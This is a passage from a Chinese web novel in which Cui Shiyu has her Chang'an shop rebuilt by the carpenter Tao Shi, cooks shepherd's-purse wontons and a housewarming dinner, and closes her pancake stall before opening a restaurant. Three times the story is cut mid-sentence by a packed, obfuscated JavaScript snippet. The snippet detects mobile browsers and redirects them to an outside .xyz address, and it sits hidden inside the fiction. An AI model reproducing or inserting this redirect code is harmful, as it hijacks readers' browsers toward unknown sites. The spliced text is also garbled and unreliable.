崔时钰认真听完林冶工这位表弟的事迹,又问道:“除了贵弟,林冶工还认识其他可靠工匠?我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他仔细查看了崔家的铺面和后院,给出了详细的修缮方案:墙重砌,房梁不动,瓦片得换。 最后来的是陶实,对方约莫四十左右岁,身材敦实,没带什么东西,只背了个装满工具的褡裢。 他不急着报价,而是先问崔时钰有什么具体要求。 崔时钰领着他从前铺走到各院,指着各处说道:“前头的铺子扩大一下,把没用的非承重墙砸了,再将四周墙壁重新粉刷一遍,用青砖铺地;后头院子辟个菜地花圃,再在庖厨旁边围个磨碓棚、柴草堆、鸡鸭鹅圈什么的……” 陶实一一听完,从褡裢里取出炭笔和木板,当场画起了草图。 崔时钰凑近看,那草图虽然简单,却把她的想法都体现出来了,还加了几处她没想到的细节。 陶实画完,直截了当道:“工期三日,工钱二十五贯,不包料,娘子不必管饭。” 崔时钰心中权衡:陶实报价比吴瓦匠低五贯,但工期要长一天。 她又问:“料钱索价几何?” 陶实回答:“那看小娘子要什么档次了,中等料十五贯足够,上等料得二十贯出头。” 崔时钰点点头:“我再考虑考虑,明日给您答复。” 当晚,她在油灯下计算着各项开支。 她现在手头有八*九十贯,听着挺多,但装修铺子、扩充存货、再雇帮手,处处都要花钱。 崔时钰蘸了蘸墨,写下几个数字,心中已有了决算。 34. 荠菜馄饨 转天一早,崔时钰便去商议装修细节:“二十二贯工钱,料钱控制在十八贯内,我负责这几日的朝食,三日完工。陶匠觉得如何?” 陶实并无异议,只问道:“小娘子说的朝食可是酱香饼子?” 崔时钰点头:“正是。陶匠若不是喜,儿还可以……” “成。”还没等她说完,陶实便丝毫没有犹豫地道。 又说:“早就听闻小娘子做的酱香饼口味极好,这几日倒是有口福了。” 崔时钰忍不住笑了。 这酱香饼还有讨价还价的作用! “既如此,此事便定下来了。”她从袖中取出早已拟好的契约,“这是条款,还请陶匠过目。” 陶实接过,认真读了一遍,道:“崔娘子做事当真细致。”说罢蘸了印泥,在契约上按下手印。 隔日一早,对方就带了几个徒弟,还有一堆工具材料,叮叮当当地过来了。 崔时钰一人手中给塞了一包酱香饼——全是按照大胃王林冶工的食量标准来的。 “想来几位郎君还没用过朝食,先垫垫肚子,不够再告诉我。” 几人道了谢,美滋滋接过。其中一个年纪最小,叫做小顺的学徒显然最为高兴。 这崔记酱香饼他之前吃过一回,一直对那酱香可口的滋味念念不忘,只可惜后来跟着师父在城外忙装修事宜,一直没机会再吃,没想到如今不仅吃上,还是不限量免费供应的。 好幸福! 当初他死乞白赖央师父带他过来果然没错。 小顺边想边大口大口啃起饼子,满足地眯起眼睛:还是那个味儿! 陶实也有些惊讶。 原以为这位崔娘子说的“管朝食”只是简单供应他们几张饼子,最多在上面刷些酱,放些萝卜酱菜——他从前的那些主家都是这么办的。 为此,陶实特意在兜里揣了几块干巴胡饼,就怕自己和徒弟们干活儿干到一半肚子饿,没力气了。 没想到这位崔娘子竟这么实在,直接在饼子里包了三枚煎蛋,还有三块比他手掌还大的炸鸡脯! 这一张饼子吃完,三人都觉得自个比牛还有劲儿。 为着主家的这份实在,陶实用完朝食便马不停蹄带领徒弟们开始干活。 第一件事是拆除前铺的旧门框。 见崔时钰出来,陶实对她道:“这门框腐朽得厉害,得全换新的。” 崔时钰走近查看被剥开的木料,确实已蛀空了大半,道:“陶匠看着办便是,只是新门框要加宽几寸,日后好方便搬运大件货物。” 昨日找完陶实,她便去定制了几张食案方床,又去买了些杯盘碗筷之类,想来过不了几日就能到。 听完她的话,陶实了然,从褡裢里取出一根墨线,在门框两侧弹下笔直的标记,边弹边道:“明白,小娘子要做食肆生意,门面宽了更能招揽客人。” 崔时钰笑笑,招呼几句,确认无误,又去查看后院。 后院同样也是一派忙碌景象。 小顺和另一名少年正干着拆砖的活儿,动作利落又干脆,拆下来的砖石都整齐地码放在一旁。 “这些旧砖还能用吗?”崔时钰凑近问道。 小顺感念着刚才那顿饼子,客气道:“回娘子话,约莫能挑出一半完好的,可以为娘子省些料钱。” 崔时钰笑:“那真是太好了。” 不知不觉,日头渐高,前院的拆旧工作已经完成大半,崔时钰着手起午食,先揉了个面团盖上湿布放一旁醒着。 便在这时,院门被推开,阿锦和阿宁出现在门口,两人的小脸蛋都红扑扑的。 “阿姊,你看我们挖了多少荠菜!”阿宁兴奋地把竹篮据给姐姐看。 竹篮肉眼可见的沉甸,小姑娘举起来显然有些吃力,崔时钰伸手轻巧接过,低头一看,只见里头翠绿叶片还沾着泥土,竟是荠菜。 方才瞧着屋里屋外忙作一团,尘土飞扬,崔时钰怕两个妹妹待着不自在,便叫她们去隔壁找娇娇玩,两个小姑娘答应得痛快,没想到是去挖野菜了。 阿锦也道:“今天清明渠旁的那片野地里的荠菜长得特别多,我和阿宁一会儿就挖满了好几个篮子呢。” 崔时钰接过妹妹递来的篮子,独属于荠菜的清新气息扑鼻而来。 此时还是初春,荠菜刚从土里钻出来没多久,尚未开花,最是根茎洁白,叶片肥厚。 这时候的荠菜最好吃了,崔时钰还记得小时候差不多也是这时节,妈妈用荠菜给她做的馄饨,真是比肉还要香。 “确实是好。”她笑笑,心里已经有了食谱,“今日咱们就吃荠菜豕肉馄饨。” “好耶!” 两个妹妹欢呼一声,不必等姐姐发话,麻溜提了篮子去水井旁边洗荠菜。 崔时钰嘱咐她们几句清洗要领,取出从地窖昨日买的鲜猪肉,放在案板上剁成肥瘦相间的肉糜,用葱姜末、盐和花椒粉调了个底味。 洗净的荠菜在沸水中焯过,挤干水分,细细切碎,与粉红的肉馅儿混合,再添几勺猪油和胡麻油,馅料顿时香气四溢。 阿锦嗅着味儿,心想,好香,还没煮熟就这么香了。 阿姊真是厉害。 她默默回忆着崔时钰方才调馅时说的话:“这荠菜虽天生带着山野清香,叶子却比寻常蔬菜更瘦韧,这时候就得舍得用油,等叶片吸饱了油香,吃起来才算美。” 光是听着就觉得香。 而这边,崔时钰已经开始擀面皮了。 因要擀的是馄饨皮,需得格外薄些,她将醒好的面团擀成一张巨大的薄如蝉翼的面片,再用刀划成整齐的小方块。 两个妹妹也来帮忙,一大两小围坐在院里的小桌前包馄饨。 和两个妹妹相比,崔时钰的手法显然娴熟多了,手指翻飞间,一个个小巧的馄饨便立在案上,形如元宝,瞧着十分精致。 阿锦瞧着有些羡慕:“阿姊包的馄饨真好看,一个个跟小元宝似的。” 崔时钰笑着看她:“阿锦包得也好。” “我呢我呢!”阿宁在一旁跃跃欲试。 阿锦瞟了一眼她的杰作,毫不留情:“像小王八。” 阿宁顿时不乐意了,“二姊!” 崔时钰笑着看着她俩,“不急,慢慢来。” 说着耐心示范,“左手托皮,右手折角,先捏中间,再收两边……对,就是这样。” 包完馄饨,崔时钰起锅烧水,刚点完火便听前院传来一阵响亮的敲击声,接着是陶实的吆喝:“正梁安好了!” 这么快?! 崔时钰赶紧擦干净手去前铺查看。 只见原本低矮的屋顶已经架起一根崭新正梁,原本狭小的空间顿时显得开阔许多。 “陶匠的动作真是快。”崔时钰由衷赞叹。 陶实从梯子下来,拍了拍身上沾染的木屑,“崔娘子谬赞了,看看这高度可还合适?” 崔时钰仰头打量,笑道:“正正好。” 见她满意,陶实等人这菜放心去做别的活计了。 时近正午,阳光直射下来,崔时钰瞧见他们的衣衫都被汗水浸透了。 她回到后院,将包好的馄饨滑入烧开的滚水中,白中透着粉绿的大个馄饨立刻在沸水中上下翻腾。 待馄饨一个个浮起,她又舀半碗冷水浇进去,如此反复三次,即“三点水”,这样煮出来的馄饨皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753643|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子筋道,透亮滑溜。 接着取来几个瓷碗,每碗放几粒虾皮、几滴香醋、一小撮葱花和芫荽末,再挖一小勺猪油,待馄饨煮好,先舀一勺热汤冲开碗底配料,最后才将馄饨盛入。 荠菜猪肉馄饨便做好了。 阿宁瞧了一眼那鲜灵灵的馄饨,响亮地吸溜了一声,然后便蹦跳着去前院招呼工匠们,“开饭啦,郎君们快进来吃!” 正给手头工作收尾准备去外头用午食的陶实等人闻言一头雾水:“什么开饭?” “小娘子不是说只管朝食么?” 阿锦在一旁解释:“阿姊说我和妹妹打的荠菜太多,我们三个吃不完,各位郎君忙碌半天,就与我们一同吃吧。” 陶实张张嘴,正要说话,小顺和其他学徒便抢道:“多谢几位小娘子,那我们便不客气了!” “有劳各位小娘子了!” 瞧见几个徒弟见了好吃的便如此没出息的模样,陶实摇头一笑,低头对比自己矮了很多的阿锦和阿宁道:“那便多谢二位小娘子和崔娘子了。” 几人净手来到后院,瞧见桌上的馄饨,眼睛都亮起来。 一碗碗荠菜馄饨整齐地排在院中的小桌上,馄饨皮薄如蝉翼,能透出内里青翠带粉的馅料;汤汁清澈见底,翠绿葱花芫荽飘浮汤面,油脂的醇香混着荠菜清香,光是闻着就让人食指大动。 小顺深吸一口气,“这馄饨做得真是好,崔娘子好手艺!” 崔时钰站在桌前微笑道:“诸位辛苦半天,这馄饨不过是我的一点心意,尝尝合不合口味。” 小顺连连点头,迫不及待地舀起一只馄饨送入口中。 馄饨皮子薄而滑韧,轻而易举就咬破了,鲜美的汤汁混合着扎实喷香的菜肉馅涌出来,荠菜的鲜爽中和了肉的丰腴,一点都不腻,香得很。 就是有点烫。 小顺被烫得连连呵气,舀馄饨的速度却一点都没慢下来,还不忘送出夸赞,于是出口的话就变成:“好吃!嘶好烫……崔娘子手艺了得!嘶好烫……”真是好一通忙活。 其他学徒的吃相也都大差不差。 陶实同样满是赞叹:“皮薄馅足,汤汁鲜美,崔娘子这手艺定要叫许多酒楼老厨蒙羞。”说完又舀起一只馄饨,吹了吹送入口中。 薄皮一咬即破,鲜美的汤汁立刻溢满口腔,荠菜的清香与猪肉的鲜美完美融合,咬下去滑嫩筋道,满口都是春意。 两个妹妹也吃得津津有味,几乎一口一只馄饨,只觉得荠菜脆嫩甘甜,豕肉鲜香不腻。 好好吃呀! 两人很快把汤都喝得一滴不剩。 和孩子们相比,陶实吃得速度慢些,但碗里的馄饨也很快见了底。 他放下碗,忽然叹了口气:“我在长安做了二十年木匠,给大户人家、酒楼茶肆都干过活,但像娘子这样待工匠亲如一家的,还真是头一遭。” 崔时钰被他说得有些不好意思:“不过是举手之劳,陶匠言重了。” “不,这是心意。”陶实语气认真,“崔娘子请放心,这铺子我们一定给娘子收拾得妥妥当当,绝不马虎。” 小顺和其他几名学徒也纷纷道:“绝不马虎!” “保证叫崔娘子满意!” 颇有种“誓死追随大王”之感。 吃完馄饨,工匠们干活的劲头明显不同了,原本按部就班的节奏变得越发紧凑高效,甚至有人主动提出可以加班加点。 崔时钰劝他们注意休息,陶实却摆摆手:“崔娘子待我们好,我们自当尽心尽力,早日完工,娘子的食肆也就能早日开张。” 第三日正午,原本约定的工期才过了三分之二,陶实就宣布主体工程已经完成了。 35. 暖屋宴席 崔时钰站在自家铺子门前,望着工匠们将最后一块写着“崔记食肆”的匾额挂上去,伸手轻轻抚过新漆的门框,一时感慨良多,最终内心却只有一句话。 她的食肆,终于是要开张了。 崔时钰对着工匠们福了福身,诚恳道:“这几日有劳诸位了。” “小娘子不必多礼。”陶实连忙将她虚虚一扶,温和一笑,“先提前恭贺小娘子的食肆开张之喜了。” 小顺也马上接道:“恭喜小娘子,贺喜小娘子!等小娘子食铺开张,我们必定前来捧场!” 这几日装修很顺利,这些工匠们也是实打实为她干活,一点不偷奸耍滑,崔时钰也高兴,爽快道:“好,到时我便用店里最好的招牌菜来招待大家。” 闻言,小顺来了兴致:“敢问小娘子,店里的招牌菜是什么?” 是不是荠菜馄饨是不是荠菜馄饨?!他觉得那碗荠菜馄饨就很招牌! 怕是以后又要像酱香饼那样天天念着了。 “这个嘛。”崔时钰促狭一笑,故意拉长尾调卖了个关子,“到时候诸位便知道了。” 提前剧透还有什么意思? 在场的工匠闻言都笑起来,直夸崔时钰会吊人胃口,阿锦和阿宁也直缠着姐姐不放。 店里的招牌菜,她们也不知道是什么呢! 欢欢喜喜送走工匠们,姐妹三人举着抹布和扫帚,将前铺后院仔仔细细收拾了一遍。 然后便开始站在铺子前发呆。 崔家这间曾经作为鱼铺的铺子面积不大,方方正正约莫二十步见方,因翻修而变得格外敞亮。 原先那股子若隐若现的鱼腥味已彻底消失了,只有四壁米白色新漆的淡淡石灰味与木料清香;正对门是一面半人高的柜台,台面打磨光滑,台后立着木架,尚空着等待摆放酒坛。 阿宁环视一周,仍有些不敢相信,如梦似幻地问:“阿姊,这真的是我们的铺子吗?” 崔时钰伸手擦了擦妹妹小脸上方才清理屋子沾上的灰,觉得可爱又顺手捏了一把,笑着应道:“是,现在是我们的食肆啦。” 阿锦没有说话。 她看着面前的新铺子,想到了很多事。 她想到阿爹那双无力垂下的手,想到阿娘红着眼睛在昏暗的灯光下做绣活,还有不顾一切纵身向河水一跃的阿姊,她和妹妹大颗大颗落下的眼泪。 这些记忆就像雾一样隔着云端,仿佛在提醒她,过去的一切都已远去了。 崭新的日子正等着她们。 崔时钰瞧着一言不发的二妹,多多少少能猜到她心中所想,轻轻拍了拍她的肩膀,正要出声安慰,忽然听到门外传来一阵车轮声。 她似有所感,连忙过去开门,果然看见一辆驴车正停在阶前,车上堆满了用稻草包裹的物件。 车夫和伙计们跳下车辕,拱手行礼:“崔小娘子,食案桌椅和碗碟到了!” “快请进来。”崔时钰连忙侧身让开,引着伙计们进入食肆。 几张食案最先搬进来在大堂中央放定,接着是靠背椅,每把椅背后头都雕着不同的花卉,牡丹、芍药、芙蓉、菊花、梅花和兰花,正是长安城六种最受喜爱的花品。 这都是崔时钰在定制桌椅时特意与店家商定的细节——铺子虽小,却也得五脏俱全了才是。 她招呼着伙计们将椅子围绕食案摆放好,又调整了几次位置,绕着走了一圈,满意地点点头,接着便开始验收碗筷器具。 食肆中最常见的碗碟材质多为夹砂陶,以粘土混合砂粒烧制而成,质地粗糙,且多为灰褐色,虽成本价低,但模样实在叫人不敢恭维。 想着夹砂陶碗日后盛起菜肉来多半不会太好看,崔时钰有点颜控,狠狠心自掏腰包定制了白瓷碗碟。 此白瓷非家里橱柜里的白瓷,乃是邢窑白瓷,釉色洁白,类银似雪,无论盛肉还是盛菜都很美观,每只碗底都烧制着“崔记”二字,在日光下泛着如玉的光泽。 见这年轻女郎神色极为认真,一举一动间比起行家也不为过,一旁的伙计竟有几分紧张。 “小娘子可还满意?” “甚好。”崔时钰点点头,取出几枚铜钱当作辛苦费递给伙计。 伙计一颗心这才算放进了肚子,美滋滋接了钱,道了声“多谢娘子”便高高兴兴出门了。 许是太高兴,还差点撞到了刚刚赶来的王五娘。 “哎哟,这位小郎君,走路可得当心点,万一下次真撞到个我这般老眼昏花的可就不好啦。” “对不住对不住……” 崔时钰连忙赶过去:“出什么事了婶娘?” “没事儿!”王五娘已经踏进门槛,问道,“阿钰,都准备得如何了?” “婶娘没事就好。”崔时钰放下心来,又道,“差不多都齐备了,明日我再去卖半天饼子宣传宣传就能开张了。” 王五娘走进店内,环视一周,不禁赞叹:“真真是脱胎换骨了!这布置,这器具,我瞧着比那于记酒楼还要好呢。” 说着将手中物什递给崔时钰,“阿钰,你知晓我手笨,除了点豆腐什么都做不好,这是我去铺子里买的,一点心意,权当恭贺你的新店开业之喜,你可一定要收下。” 崔时钰低头一看,赫然是一套针脚细密的绣花桌帷坐垫。 “这太贵重了……” 她刚要推辞,王五娘便按住她的手,“咱们邻里之间不说这些,你一个姑娘家带着两个妹妹经营铺子着实不易,日后若是需要豆腐,尽管和我开口,要多少给多少。”边说边轻轻拍了拍她的手,眼中满是真诚。 崔时钰感动道:“那婶娘以后可不能不收我的钱了。” “那是自然!给你这生意兴隆的大食肆送豆腐,若是不收钱,我不得亏死?” 崔时钰就笑。 阿宁这时在一旁接道:“才不会让婶娘亏钱呢!” 笑声响成一片。 气氛正好,崔时钰闹钟忽然浮出一个主意,拉住王五娘的手道:“婶娘,您把娇娇也叫过来,今日暮食便在我这儿用,我再叫柳七娘与方九娘过来,咱们几个好好聚聚,就当是给我暖屋了。” 王五娘欣然应允:“好好好,暖了屋子,这店里就更有人气儿了。” “我这就去把娇娇叫过来,这孩子馋你做的吃食有阵子了,我怕她向你讨才没把她带来,早知便让娇娇和我一同来了!” “等食肆开了,您天天带着娇娇来都行。”崔时钰笑道。 送走王五娘,她支使两个妹妹去知会方九娘与柳七娘,自己将王五娘方才送来的绣花桌帷坐垫收好,然后便着手起今日的暖屋宴。 食肆开业在即,昨日她便去集市找了高老汉、蔡三郎、胡麻子等人,告诉他们食肆不日就要开张,若是有新鲜的蔬菜与肉类粮油,一日一送,现场结账,并敲定了几样诸如五花肉、鸡蛋、豆角、蕈子等重点菜肉。 因着崔时钰之前已经和他们交易数次,算是名副其实的老主顾了,且交易过程中双方都很愉快,是以几人都答应得十分痛快,不约而同表示:若有新鲜食材,肯定先往崔记食肆送,其他食肆酒楼都得往后稍着。 虽说是生意人的客气话,却也叫人听来格外舒坦。 如今崔家的地窖里已经摆满各种蔬果肉类,琳琅满目,活像个小型菜市场。 崔时钰在自家“菜市场”环顾一周,挑了只肥瘦相间的猪前肘,又捎上几大把嫩韭黄、圆茄子,还有两颗个头可观的鲜冬瓜。 猪肘子皮厚肉肥,一只就足有她手臂那么长;早春第一茬韭黄嫩得能掐出水;冬瓜浑圆饱满,青皮上覆着一层薄霜似的白粉。 最特别的要属茄子。 这时候的茄子与后世紫得发亮的紫茄完全不同,圆形青皮,称作“落苏”,乍一看就跟个青瓜似的,味道倒是和后市大差不差。 看着这些食材,崔时钰想,晚上的暖屋宴就吃炖肘子、鸡蛋炒韭黄、凉拌茄子和猪肉冬瓜丸子汤吧! 说干就干,她系上围裙,起锅烧火。 天气渐暖,木炭价格有所回落,再加这几日赚了不少钱,用起来便没那么心疼,木炭量给得足,没过多久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759888|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灶膛里的火便噼啪作响,大铁锅中水花翻滚。 崔时钰将经了去腥三部曲的肘子扔进锅里焯水,捞出晾凉,另起一锅放白糖小火慢熬。 待糖粒渐渐融化,颜色由浅转深,最后变成深红的糖色,将肘子皮朝下放入锅中,只听“刺啦”一声,甜香混着肉香瞬间漫开。 肘子新鲜,无需放太多调料便能炖出好味,崔时钰只简单放了葱姜和八角进去,加热水没过肘子,盖上锅盖,撤出几根木柴转小火慢炖。 肘子约莫要炖上一个时辰,这段时间正好方便做其他菜,她取过茄子切成均匀片状,上笼蒸制。 另取小碗,放蒜末、葱姜,用热油一泼,顿时香气四溢,再淋香醋、胡麻油和少许酱油调成料汁,往蒸熟的茄子片上一浇。 吸饱了酱汁的茄片变成微微的酱色,蒜香混着茄香,浓郁地往人鼻子里钻,再拌进几段芫荽,凉拌茄子便成了。 这是道凉菜,做起来不费时,吃热菜吃热了吃腻了来上这么一口,最是清爽解腻。 接着是韭黄炒鸡蛋。 猪油滑锅,蛋液搅散倒进去,韭黄随后入锅,和鸡蛋一起金灿灿黄莹莹地在锅中翻飞,香气扑鼻。 最后是冬瓜猪肉丸子汤。 肥瘦相间的猪肉剁成肉糜,反复摔打,直到起胶上劲,这样做出来的丸子才有嚼劲。 去皮切块的冬瓜晶莹剔透,方正如玉,与手挤的圆润猪肉丸子一同入汤,煞是好看,鲜味随着白雾漫了满屋。 等到夕阳西斜的时候,炖了一个多时辰的肘子终于出锅。 崔时钰揭开锅盖,大肘子已经炖出诱人的酱红色,皮肉颤颤巍巍,用筷子轻轻一碰就能陷进去。浓郁的肉香瞬间如实质般涌出,填满了整间庖厨。 这肘子炖得真是不错,她满意点头,刚把肘子盛出装盘,便听到柳七娘清脆的声音从不远处传来: “这牌子上的铃声可真悦耳啊!” 人来了! 崔时钰放下盘子,快步走到门外,瞧见柳七娘、方九娘、王五娘,还有娇娇伍儿都到了,三大两小正仰头望着牌匾上随风轻响的铃铛。 深褐色的木匾上,“崔记食肆”四个大字遒劲有力,匾额下方垂着两串小巧的铜铃,微风拂过便发出清脆的声响。 崔时钰微笑和她们解释:“这是为了客人远远就能听见,长安城内食肆众多,我这处地理位置又算不得太好,总要有些与众不同之处。” “在牌匾上挂铜铃,钰娘真是好巧思!”方九娘看了看周围,又道,“这房梁上挂着的绢灯也好看得紧,想来到了夜晚,灯光透过薄绢光影交错,定是十分好看的。” 伍儿想象着阿娘话里描绘出来的画面,不由得微张着嘴巴出神:夜里,亮闪闪的灯笼在微风中一晃一晃……那该有多好看呀! 崔娘子的食肆真漂亮,以后一定要让阿娘带他多来。 念头刚转到这里,伍儿就感觉自己的胳膊搭上了一只软乎乎的小手,扭头一看,果然瞧见穿着一身鹅黄衣裙的阿宁正歪头瞧着自己。 “伍儿妹——弟弟,我们进屋去吧,一会儿该吃饭了,娇娇也在里面呢!”阿宁热情邀请。 崔时钰远远瞧着,摇头轻轻一笑,她早就看出自己这个小妹是个社交悍匪了。 而且,听小姑娘方才的口气,好像似乎大概也许,依然没把伍儿当作弟弟…… 这可真是怪愁人的。 她略微心虚地瞅了身旁的方九娘一眼,心想待会儿一定要往她碗里多夹几块肘子肉。 这时候王五娘道:“走吧,咱们也进去,阿钰怕是已经做好一桌子菜了,别叫凉了!” 大大小小一行人风风火火从前铺来到后院,刚撩开帘子就瞧见一桌香气浓郁的饭菜。 院中石桌上,炖好的肘子红亮亮、颤巍巍,热气腾腾,光是看着便觉肉质丰腴;凉拌茄子清爽诱人,茄香扑鼻;冬瓜肉丸汤清澈见底,肉丸子多得快要打架,汤面上还飘着翠绿的葱花…… 好香好香! 崔时钰拉开凳子招呼她们,“咱们开吃喽!” 36. 开业大吉 “大家快坐下吃吧,屋外可不比屋里,等上片刻怕是菜就要凉……” “那我们就不客气了!” 她的话还没说完,在场几人齐刷刷拉开凳子坐下去,而后便目不转睛地盯着面前几道菜,眼睛都快要冒出绿光了。 大人们尚且还有些自制力,小孩子却是不加掩饰,全都直勾勾盯着那道红烧肘子,特别是伍儿,眼神都不带错开一下的。 崔时钰没忍住笑出声来:“好了,大家快吃吧。”说罢自己也坐下来。 待所有人全部落座,数双筷子瞬间伸了出来,全无厚此薄彼,每一道菜都颇受青睐。 王五娘先连皮带肉挟了块肘子肉。 那肘子炖得极软烂,酱色的汤汁浓稠如蜜,将表皮浸得油亮发红,胶质融化的肉皮包裹着里头的筋肉,筷子轻轻一碰就能破开,早已炖化成晶莹胶冻的肉筋黏连着酥烂的瘦肉,扯开时能看见胶质粉糯的丝。 刚一入桌王五娘便盯上了这只肥嫩的肘子,如今终于得偿所愿,迫不及待地送入口中。 刚一入口便睁大了眼睛。 肥肉部分不必说了,软糯得几乎用舌头一压就化开,瘦肉也是丝丝分明,咸鲜中透着淡淡甜味,混着肉香在唇舌间横冲直撞。 肘子皮最是妙极,又滑又润,带着浓郁的脂香,却又丝毫不腻,牙齿一磕便化作一汪荤鲜的肉汁。 阿钰这手艺,真是没谁了! 王五娘将丰腴肉汁吞进肚子,又伸一筷,满足地感叹:“要我说,阿钰这食肆定能赚个盆满钵满,光这道炖肘子就比那几家大酒楼强上十倍不止了。” 娇娇刚吃完鲜香软嫩的韭黄,听完阿婆的大肆赞美,忍不住也扯了块肘子肉,嚼了两下便觉惊讶。 这个皮皮会黏嘴巴呢! 软乎乎的,酱汁也好吃,皮肉吸饱了滋味,入口分不清是肥是瘦,只觉黏糯油香溢了满嘴。 好香,好好吃。 娇娇吃得急了,以嘴唇为中心向四边漫开了一圈晶亮油光,袖口也未能幸免,早在刚才啃骨头的时候就沾上了酱星子。 这下怕是又要挨阿婆骂了。 小姑娘有些忧愁,悄悄瞥了眼一旁大吃大喝的王五娘,结果发现阿婆袖口上沾的酱汁比自个还要多。 太好了,这下不用担心会挨骂了! 娇娇放下心来,继续对着肘子大快朵颐。 桌上其他人,柳七娘对那道凉拌茄子情有独钟,自己一个人就干了小半盘,碗里的米饭也快要见底了。 茄子浸透了香醋与胡麻油的调汁,咬下去,微凉的茄肉便溢出汁水,酸中带鲜,鲜里透甜,香软可口,还能吃出几分荤香。 柳七娘赞不绝口:“落苏最易寡淡,这盘却很是爽利开胃,当真是好吃极了。” 阿锦就和她抢,“给我留点给我留点!” 方九娘也是,瞧着吴侬软语文文气气的一个女郎,结果喝完一大碗丸子汤之后,直接撸起袖子抢了最后一块肘子肉,豪迈得很。 一旁的伍儿都看呆了,“阿娘,你以前不是这样的……” 崔时钰啃着肘子笑得前仰后合。 她看着空了大半的盘子,心里和数钱时一样满足。 这才是生活嘛! 不知不觉,一轮圆月已经升起,悬在天幕之间,柔和的月光倾泻而下,映照着院内欢声笑语不断的人们。 月圆人满。 * 昨晚虽胡吃海喝与好友们玩闹了半宿,崔时钰却也没忘记正事,天光初亮就从床上爬起来烙饼子、煎鸡蛋、炸鸡排,出来摆这最后的一日的饼摊。 酱饼摊前依旧如往日般排起了长队,炉火正旺,酱香混着饼香飘了一整条街。 常来光顾的几个熟客捧着热饼,满脸都是依依不舍。 “崔娘子,明日真不来了?” 说实在的,到底是经营了几个月的饼摊,崔时钰心中也有几分不舍。 但食肆总归是要开张的。 她利落地用荷叶包好一张金黄油亮的饼,笑道:“今日是最后一日摆摊啦,崔记食肆明日开张,就在长乐坊南,欢迎诸位过来。” 话音一落,人群中顿时喧闹起来。 有人急道:“这不成,我家那口子就馋崔娘子这口热饼,若吃不着了,怕是要跟我闹脾气。” “西市没了崔娘子的饼,那还有什么滋味啊?” 旁边几个熟客也七嘴八舌地附和,纷纷表达自个对酱香饼的依恋不舍。 崔时钰很能理解这种心情,从前学校里的小吃摊突然搬离或倒闭,她也得不痛快好长一段时间。 她知道食客们担心的是什么,一边收钱递饼一边笑道:“诸位别急,这饼子虽是暂时吃不着了,但食肆里好吃饭菜多的是,招牌菜也有,保管比酱饼更叫人惦记。” 广告这不就顺理成章打出去了嘛。 一听她说食肆里的吃食比饼子味道还好,众人这才转忧为喜。 转眼间还生出了几分期待。 这位崔娘子做饼就已如此出众,真要做起正式饭食来,那得好吃成什么样啊? 去新店,必须去新店! 听了崔时钰方才的话,一学子模样的郎君若有所思道:“长乐坊南?那地方可不近。” 接着他又话锋一转:“远是远了点,但谁叫崔娘子手艺好呢,以后某定常去捧场。” 周围人也跟着附和,又七嘴八舌地问起新店事宜。 崔时钰边递饼边一一回答。 不知不觉,日头已升至中天,崔时钰正要收摊,抬头忽然看见一位月白衣袍的郎君。 对方正立于饼摊前不远处,身形挺拔如松,在人群中显得格外出众。 不是那谢小郎君又是谁? 她抬眸对上对方那双含着笑意的桃花眼,礼道:“谢小郎君。” 几日不见,这位年轻郎君似乎更好看了,月白色衬得他面如冠玉,整个人透着股说不出的潇洒英俊。 自己的食肆能开起来,这位谢小郎君可谓功不可没,若没他花五十贯买下酱饼方子,怕是还要再辛苦卖上一阵饼子。 因着这层关系,崔时钰对对方很是感激,自然也多了几分亲近熟悉。 谢宵含笑开口:“崔娘子生意做得火热,可还有我的份?” 崔时钰抿嘴一笑,“这饼子只剩最后一张了,谢小郎君真是来得早不如来得巧。” 她从食盒里取出最后一张还冒着热气的饼子,熟练地放在铛中复热,刷酱、添萝卜丁,裹进生菜与煎蛋,最后包好荷叶片递过去。 “谢小郎君请尝。” 自从那日对方来找她买酱饼方子,她就已经知晓这位谢小郎君的身份了。 谢氏,年纪轻,谈吐不凡,与京兆尹有关,这几个条件加在一起,只能是京兆尹谢珏的那位胞弟了。 谢宵,谢承安。 说起这位谢小郎君,在长安城中也颇有美名,声名极盛,就连崔时钰都对他那篇《王道荡荡赋》有所耳闻,可见其影响力有多深远。 谢宵接过饼,垂眸看了看,眼中笑意更盛:“还记得我第一次来崔娘子这里卖饼时,吃的便是‘金玉满堂’这个口味。” 崔时钰眨眨眼。 “第一次来这里买饼”……谢宵还什么时候从她这儿买过饼子? 买酱饼方子那次难道不是他们两人第一次见面吗? 见崔时钰脸上的疑惑都快溢出来了,谢宵垂眸一笑,道:“约莫一月前,我家书童曾来崔娘子这里买过饼子。” 书童? 崔时钰仔细思索。 每次来她这儿卖饼的大户人家的奴仆、书童都不少,但不知为何,谢宵一开口,她便马上想到了那日自称要求很多,但实际上只是狮子小开口的绿衣圆脸小书童。 想到那小书童,她不由自主笑起来,问谢宵道:“可是那位绿衣圆脸的小郎君?” 见她紫衣明媚,言笑晏晏地称呼自家书童为“小郎君”,不知为何,谢宵心头隐隐泛起一抹酸意。 她怎么提起青松突然笑了。 莫非是觉得他很可爱? 